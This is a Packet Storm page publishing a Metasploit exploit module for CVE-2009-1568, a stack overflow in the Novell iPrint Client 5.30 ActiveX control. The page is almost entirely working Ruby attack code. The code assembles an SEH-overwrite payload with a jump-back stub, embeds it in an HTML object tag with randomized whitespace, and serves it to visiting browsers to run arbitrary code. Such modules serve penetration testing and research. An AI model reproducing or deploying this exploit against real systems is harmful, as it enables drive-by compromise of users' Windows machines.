exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Novell iPrint Client ActiveX Control target-frame Buffer Overflow

Novell iPrint Client ActiveX Control target-frame Buffer Overflow
Posted Feb 6, 2010
Authored by jduck | Site metasploit.com

This Metasploit module exploits a stack overflow in Novell iPrint Client 5.30. When passing an overly long string via the "target-frame" parameter to ienipp.ocx an attacker can execute arbitrary code. NOTE: The "operation" variable must be set to a valid command in order to reach this vulnerability.

tags | exploit, overflow, arbitrary
advisories | CVE-2009-1568
SHA-256 | 2f8085ff43c3d34d0a072cc5968db8e5067ac13f456d0d219eb9a570a2f06338

Novell iPrint Client ActiveX Control target-frame Buffer Overflow

Change Mirror Download
##
# $Id: novelliprint_target-frame.rb 8338 2010-02-01 03:33:38Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::Seh

def initialize(info = {})
super(update_info(info,
'Name' => 'Novell iPrint Client ActiveX Control target-frame Buffer Overflow',
'Description' => %q{
This module exploits a stack overflow in Novell iPrint Client 5.30. When
passing an overly long string via the "target-frame" parameter to ienipp.ocx
an attacker can execute arbitrary code.

NOTE: The "operation" variable must be set to a valid command in order to reach this
vulnerability.
},
'License' => MSF_LICENSE,
'Author' => [ 'jduck' ],
'Version' => '$Revision: 8338 $',
'References' =>
[
[ 'CVE', '2009-1568' ],
[ 'BID', '37242' ],
[ 'OSVDB', '60803' ],
[ 'URL', 'http://secunia.com/advisories/37169/' ]
],
'DefaultOptions' =>
{
'EXITFUNC' => 'process',
},
'Payload' =>
{
'Space' => 1456,
'BadChars' => "\x00",
},
'Platform' => 'win',
'Targets' =>
[
[ 'iPrint 5.30 Windows Client', { 'Ret' => 0x100489ac } ] # p/p/r in ienipp.ocx v5.30
],
'DisclosureDate' => 'Dec 08 2009',
'DefaultTarget' => 0))
end

def autofilter
false
end

def check_dependencies
use_zlib
end

def on_request_uri(cli, request)
# Re-generate the payload.
return if ((p = regenerate_payload(cli)) == nil)

sploit = p.encoded

# the following must be an invalid pointer (unreadable)
sploit << [rand(0xffffffff) | 0xc0000000].pack('V')

sploit << generate_seh_record(target.ret)

distance = 8 + 4 + payload_space
sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + distance.to_s).encode_string

sploit << rand_text_alphanumeric(2048 - sploit.length)

operations = [
"op-client-interface-version",
"op-client-version-info",
"op-client-is-printer-installed",
"op-user-get-role",
"op-printer-install",
"op-printer-remove",
"op-printer-get-status",
"op-printer-get-info",
"op-printer-pause",
"op-printer-resume",
"op-printer-purge-jobs",
"op-printer-list-users-jobs",
"op-printer-list-all-jobs",
"op-printer-send-test-page",
"op-printer-send-file",
"op-printer-setup-install",
"op-job-get-info",
"op-job-hold",
"op-job-release-hold",
"op-job-cancel",
"op-job-restart",
"op-dbg-printer-get-all-attrs",
"op-dbg-job-get-all-attrs"
]
operation = operations[rand(operations.length)]

# escape single quotes
sploit = xml_encode(sploit)

content = %Q|<html>
<object classid='clsid:36723F97-7AA0-11D4-8919-FF2D71D0D32C'>
<param name='operation' value='#{operation}' />
<param name='target-frame' value='#{sploit}' />
</object>
</html>
|

content = Rex::Text.randomize_space(content)

print_status("Sending #{self.name} to #{cli.peerhost}:#{cli.peerport}...")

# Transmit the response to the client
send_response_html(cli, content)

# Handle the payload
handler(cli)
end

def xml_encode(str)
ret = ""
str.unpack('C*').each { |ch|
case ch
when 0x41..0x5a, 0x61..0x7a, 0x30..0x39
ret << ch.chr
else
ret << "&#x"
ret << ch.chr.unpack('H*')[0]
ret << ";"
end
}
ret
end

end
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    0 Files
  • 16
    Jul 16th
    0 Files
  • 17
    Jul 17th
    0 Files
  • 18
    Jul 18th
    0 Files
  • 19
    Jul 19th
    0 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    0 Files
  • 23
    Jul 23rd
    0 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close